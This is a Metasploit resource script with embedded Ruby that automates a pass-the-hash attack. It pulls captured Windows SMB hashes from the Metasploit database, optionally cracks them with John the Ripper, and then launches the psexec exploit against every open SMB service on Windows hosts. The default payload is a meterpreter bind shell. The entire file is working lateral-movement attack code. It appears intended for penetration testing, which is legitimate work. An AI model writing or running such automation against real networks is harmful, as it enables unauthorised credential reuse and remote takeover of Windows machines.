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# auto-pass_the_hash.rc
# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de)
# This Metasploit RC-File could be used to automatically check already discovered windows hashes
# with jtr before login testing, after jtr is started it uses the hashes with pass the hash
# against windows fileservices. -> first we have to fill up the db with operating system infos
# we use psexec only against windows systems. Hint: smb_version
<ruby>
#psexec needs a payload
if framework.datastore['PAYLOAD']
pload = framework.datastore['PAYLOAD']
else #just to get sure that we have a backup payload
pload = "windows/meterpreter/bind_tcp"
end
if pload =~ /reverse/ and not framework.datastore['LHOST']
print_error("You have to set LHOST globally!")
return
end
if (framework.datastore['JOHN'] == "true") # we can set a global JOHN Option to control the usage of the jtr modules
jotr = 1
else
jotr = 0
end
if (framework.datastore['VERBOSE'] == "true") #we look in the global datastore for a global VERBOSE option and use it
verbose = 1 #true
else
verbose = 0
end
# Test and see if we have a database connected
begin
framework.db.hosts
rescue ::ActiveRecord::ConnectionNotEstablished
print_error("Database connection isn't established")
return
end
def infos(serv,creds,host)
print_line("")
print_line("====================================")
print_line("IP: #{host.address}")
print_line("OS: #{host.os_name}")
print_line("Servicename: #{serv.name}")
print_line("Service Port: #{serv.port.to_i}")
print_line("Service Protocol: #{serv.proto}")
print_line("user: #{creds.user}")
print_line("pass: #{creds.pass}")
print_line("====================================")
print_line("")
end
framework.db.creds.each do |creds| # just checking if we have any smb_hashes in the creds db
next if (creds.ptype !~ /smb_hash/)
if (jotr == 1)
# first checking weak windows hashes with john ... because of the filtering before, we are sure that
# this is a windows hash
# on the first found hash we are going to analyse all hashes - then we set jotr to 0
print_line("using jtr_crack_fast")
run_single("use auxiliary/analyze/jtr_crack_fast")
# we use the info from Msf::Config.install_root and append the following path to it (thx to sinn3r)
run_single("set JOHN_BASE #{Msf::Config.install_root}/data/john")
run_single("set JOHN_PATH #{Msf::Config.install_root}/data/john")
run_single("run -j")
run_single("back")
jotr = 0 # jtr modules tries to crack all smb_hashes from the db ... so we could leave it now
end
smbhash = creds.pass
username = creds.user
framework.db.hosts.each do |host|
next if (host.os_name !~ /Windows/) # pass the hash works just for Win
host.services.each do |serv|
next if not serv.host
next if (serv.state != Msf::ServiceState::Open)
next if (serv.name !~ /smb/)
print_line("using psexec - Pass the hash")
if(verbose == 1)
infos(serv,creds,host)
end
run_single("use exploit/windows/smb/psexec")
run_single("set RHOST #{host.address}")
run_single("set RPORT #{serv.port}")
run_single("set SMBUser #{username}")
run_single("set SMBPass #{smbhash}")
run_single("set PAYLOAD #{pload}")
if pload =~ /reverse/
run_single("set LPORT #{(rand(0x8fff) + 4000).to_s}")
end
if(verbose == 1)
run_single("set VERBOSE true")
end
run_single("exploit -j -z")
run_single("back")
end
end
end
</ruby>